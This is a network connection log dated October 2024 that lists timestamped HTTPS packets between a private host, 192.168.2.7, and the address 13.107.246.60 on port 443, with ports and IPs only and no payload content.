Oct 7, 2024 06:44:39.784580946 CEST	443	49886	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:39.784590006 CEST	49885	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:39.784599066 CEST	443	49882	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:39.784625053 CEST	49886	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:39.784727097 CEST	49885	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:39.784742117 CEST	443	49885	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:39.784787893 CEST	49886	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:39.784800053 CEST	443	49886	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:39.784991980 CEST	443	49882	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:39.785043955 CEST	49882	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:39.785051107 CEST	443	49882	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:39.785103083 CEST	443	49882	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:39.785128117 CEST	49882	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:39.785135031 CEST	443	49882	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:39.785145044 CEST	49882	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:39.785149097 CEST	443	49882	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:39.785157919 CEST	49882	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:39.785161972 CEST	443	49882	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:39.786221981 CEST	443	49883	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:39.786426067 CEST	443	49883	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:39.786478043 CEST	49883	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:39.786488056 CEST	443	49883	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:39.786546946 CEST	443	49883	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:39.786571980 CEST	49883	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:39.786583900 CEST	443	49883	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:39.786592960 CEST	49883	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:39.786592960 CEST	49883	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:39.786598921 CEST	443	49883	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:39.786604881 CEST	443	49883	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:39.787328959 CEST	49887	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:39.787373066 CEST	443	49887	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:39.787462950 CEST	49887	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:39.787583113 CEST	49887	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:39.787595987 CEST	443	49887	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:39.787966013 CEST	443	49884	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:39.788120985 CEST	443	49884	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:39.788186073 CEST	49884	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:39.788230896 CEST	49884	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:39.788230896 CEST	49884	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:39.788254976 CEST	443	49884	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:39.788275957 CEST	443	49884	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:39.788816929 CEST	49888	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:39.788840055 CEST	443	49888	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:39.788902998 CEST	49888	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:39.789030075 CEST	49888	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:39.789057016 CEST	443	49888	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:39.789803028 CEST	49889	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:39.789823055 CEST	443	49889	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:39.789876938 CEST	49889	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:39.789974928 CEST	49889	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:39.789987087 CEST	443	49889	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:40.421484947 CEST	443	49886	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:40.422023058 CEST	49886	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:40.422038078 CEST	443	49886	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:40.422482014 CEST	49886	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:40.422488928 CEST	443	49886	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:40.439290047 CEST	443	49885	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:40.440131903 CEST	443	49887	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:40.441220045 CEST	443	49889	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:40.443324089 CEST	443	49888	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:40.490592003 CEST	49885	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:40.490608931 CEST	49889	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:40.490607023 CEST	49887	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:40.490607023 CEST	49888	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:40.495769024 CEST	49885	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:40.495775938 CEST	443	49885	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:40.496201992 CEST	49885	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:40.496206045 CEST	443	49885	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:40.496440887 CEST	49887	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:40.496467113 CEST	443	49887	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:40.496789932 CEST	49887	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:40.496803045 CEST	443	49887	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:40.496974945 CEST	49889	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:40.496979952 CEST	443	49889	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:40.497303963 CEST	49889	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:40.497307062 CEST	443	49889	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:40.497504950 CEST	49888	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:40.497517109 CEST	443	49888	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:40.497829914 CEST	49888	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:40.497842073 CEST	443	49888	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:40.520078897 CEST	443	49886	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:40.520251989 CEST	443	49886	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:40.520318031 CEST	49886	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:40.547210932 CEST	49886	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:40.547225952 CEST	443	49886	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:40.547235966 CEST	49886	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:40.547240973 CEST	443	49886	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:40.592024088 CEST	443	49889	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:40.592192888 CEST	443	49889	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:40.592251062 CEST	49889	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:40.592257977 CEST	443	49889	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:40.592333078 CEST	443	49889	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:40.592377901 CEST	49889	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:40.592858076 CEST	443	49885	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:40.592866898 CEST	443	49888	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:40.592955112 CEST	443	49887	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:40.593005896 CEST	443	49887	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:40.593060970 CEST	443	49885	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:40.593063116 CEST	49887	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:40.593096018 CEST	443	49888	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:40.593101025 CEST	49885	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:40.593101978 CEST	443	49887	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:40.593106031 CEST	443	49885	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:40.593137026 CEST	49888	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:40.593148947 CEST	443	49888	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:40.593156099 CEST	443	49885	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:40.593174934 CEST	443	49887	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:40.593198061 CEST	49885	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:40.593203068 CEST	49888	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:40.593256950 CEST	49887	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:40.599509954 CEST	49885	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:40.599514961 CEST	443	49885	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:40.599548101 CEST	49885	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:40.599551916 CEST	443	49885	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:40.615751028 CEST	49889	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:40.615756035 CEST	443	49889	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:40.615763903 CEST	49889	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:40.615768909 CEST	443	49889	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:40.632009029 CEST	49888	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:40.632072926 CEST	443	49888	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:40.632106066 CEST	49888	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:40.632124901 CEST	443	49888	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:40.644054890 CEST	49887	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:40.644056082 CEST	49887	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:40.644098997 CEST	443	49887	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:40.644139051 CEST	443	49887	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:40.661947966 CEST	49890	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:40.661978960 CEST	443	49890	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:40.662064075 CEST	49890	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:40.663120985 CEST	49891	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:40.663158894 CEST	443	49891	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:40.663217068 CEST	49891	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:40.663265944 CEST	49890	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:40.663288116 CEST	443	49890	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:40.664581060 CEST	49892	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:40.664623976 CEST	443	49892	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:40.664673090 CEST	49892	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:40.665061951 CEST	49893	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:40.665096045 CEST	443	49893	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:40.665107012 CEST	49892	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:40.665119886 CEST	443	49892	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:40.665143967 CEST	49893	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:40.665241957 CEST	49893	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:40.665252924 CEST	443	49893	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:40.666160107 CEST	49894	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:40.666167974 CEST	443	49894	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:40.666215897 CEST	49894	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:40.666289091 CEST	49891	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:40.666305065 CEST	443	49891	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:40.666354895 CEST	49894	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:40.666364908 CEST	443	49894	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:41.307954073 CEST	443	49892	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:41.307971001 CEST	443	49894	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:41.308470964 CEST	49892	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:41.308494091 CEST	443	49892	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:41.308928967 CEST	49892	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:41.308938980 CEST	443	49892	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:41.309241056 CEST	49894	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:41.309258938 CEST	443	49894	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:41.309660912 CEST	49894	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:41.309668064 CEST	443	49894	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:41.328660965 CEST	443	49890	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:41.329690933 CEST	49890	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:41.329703093 CEST	443	49890	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:41.330169916 CEST	49890	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:41.330176115 CEST	443	49890	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:41.337688923 CEST	443	49891	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:41.338121891 CEST	49891	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:41.338203907 CEST	443	49891	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:41.338499069 CEST	49891	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:41.338514090 CEST	443	49891	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:41.346165895 CEST	443	49893	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:41.349507093 CEST	49893	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:41.349524021 CEST	443	49893	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:41.349865913 CEST	49893	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:41.349872112 CEST	443	49893	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:41.410613060 CEST	443	49894	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:41.410794973 CEST	443	49894	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:41.410880089 CEST	49894	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:41.411197901 CEST	49894	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:41.411222935 CEST	443	49894	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:41.411238909 CEST	49894	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:41.411247969 CEST	443	49894	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:41.411667109 CEST	443	49892	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:41.411767006 CEST	443	49892	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:41.411825895 CEST	49892	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:41.412759066 CEST	49892	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:41.412782907 CEST	443	49892	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:41.412794113 CEST	49892	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:41.412801027 CEST	443	49892	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:41.415014029 CEST	49895	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:41.415038109 CEST	443	49895	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:41.415121078 CEST	49895	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:41.416038990 CEST	49896	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:41.416074991 CEST	443	49896	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:41.416136026 CEST	49896	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:41.416621923 CEST	49895	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:41.416635036 CEST	443	49895	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:41.416699886 CEST	49896	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:41.416713953 CEST	443	49896	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:41.431680918 CEST	443	49890	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:41.431847095 CEST	443	49890	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:41.431936979 CEST	49890	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:41.431989908 CEST	49890	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:41.432004929 CEST	443	49890	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:41.432014942 CEST	49890	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:41.432020903 CEST	443	49890	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:41.433806896 CEST	49897	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:41.433837891 CEST	443	49897	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:41.433944941 CEST	49897	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:41.434051037 CEST	49897	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:41.434062958 CEST	443	49897	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:41.440774918 CEST	443	49891	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:41.440959930 CEST	443	49891	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:41.441030025 CEST	49891	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:41.441191912 CEST	49891	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:41.441226006 CEST	443	49891	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:41.441276073 CEST	49891	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:41.441291094 CEST	443	49891	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:41.443515062 CEST	49898	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:41.443525076 CEST	443	49898	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:41.443595886 CEST	49898	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:41.443710089 CEST	49898	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:41.443721056 CEST	443	49898	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:41.450916052 CEST	443	49893	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:41.450977087 CEST	443	49893	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:41.451036930 CEST	49893	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:41.451046944 CEST	443	49893	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:41.451080084 CEST	443	49893	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:41.451200008 CEST	49893	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:41.451215982 CEST	443	49893	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:41.451227903 CEST	49893	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:41.451234102 CEST	443	49893	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:41.452869892 CEST	49899	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:41.452881098 CEST	443	49899	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:41.453639030 CEST	49899	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:41.453746080 CEST	49899	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:41.453753948 CEST	443	49899	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.050574064 CEST	443	49895	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.051266909 CEST	49895	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.051300049 CEST	443	49895	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.051601887 CEST	49895	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.051609039 CEST	443	49895	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.069781065 CEST	443	49897	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.070741892 CEST	49897	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.070741892 CEST	49897	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.070765972 CEST	443	49897	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.070785046 CEST	443	49897	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.076081991 CEST	443	49896	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.078383923 CEST	49896	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.078402996 CEST	443	49896	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.078747034 CEST	49896	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.078752041 CEST	443	49896	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.083311081 CEST	443	49898	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.087296009 CEST	49898	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.087305069 CEST	443	49898	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.087642908 CEST	49898	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.087647915 CEST	443	49898	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.094141960 CEST	443	49899	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.099359989 CEST	49899	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.099369049 CEST	443	49899	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.099730015 CEST	49899	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.099734068 CEST	443	49899	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.158730984 CEST	443	49895	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.159334898 CEST	443	49895	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.159389973 CEST	443	49895	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.159460068 CEST	49895	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.159495115 CEST	49895	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.159642935 CEST	49895	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.159662008 CEST	443	49895	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.159696102 CEST	49895	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.159701109 CEST	443	49895	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.162158966 CEST	49900	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.162195921 CEST	443	49900	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.162280083 CEST	49900	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.162415028 CEST	49900	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.162434101 CEST	443	49900	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.168409109 CEST	443	49897	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.168462038 CEST	443	49897	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.168510914 CEST	443	49897	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.168543100 CEST	49897	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.168580055 CEST	49897	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.168726921 CEST	49897	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.168746948 CEST	443	49897	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.168757915 CEST	49897	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.168762922 CEST	443	49897	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.170634985 CEST	49901	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.170675993 CEST	443	49901	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.170747042 CEST	49901	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.170854092 CEST	49901	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.170867920 CEST	443	49901	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.179032087 CEST	443	49896	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.179250002 CEST	443	49896	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.179316998 CEST	49896	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.179442883 CEST	49896	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.179460049 CEST	443	49896	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.179485083 CEST	49896	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.179490089 CEST	443	49896	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.181329966 CEST	49902	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.181339025 CEST	443	49902	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.181407928 CEST	49902	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.181524038 CEST	49902	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.181534052 CEST	443	49902	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.182256937 CEST	443	49898	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.182399988 CEST	443	49898	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.187096119 CEST	49898	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.187119007 CEST	49898	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.187119007 CEST	49898	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.187130928 CEST	443	49898	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.187139034 CEST	443	49898	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.188802958 CEST	49903	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.188846111 CEST	443	49903	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.188919067 CEST	49903	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.189033031 CEST	49903	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.189050913 CEST	443	49903	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.194303989 CEST	443	49899	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.194439888 CEST	443	49899	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.194502115 CEST	49899	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.194612026 CEST	49899	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.194617987 CEST	443	49899	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.194627047 CEST	49899	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.194631100 CEST	443	49899	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.196362972 CEST	49904	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.196400881 CEST	443	49904	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.196487904 CEST	49904	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.196584940 CEST	49904	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.196599960 CEST	443	49904	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.795969963 CEST	443	49900	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.796642065 CEST	49900	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.796670914 CEST	443	49900	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.797007084 CEST	49900	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:42.797012091 CEST	443	49900	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:42.815160036 CEST	443	49902	13.107.246.60	192.168.2.7
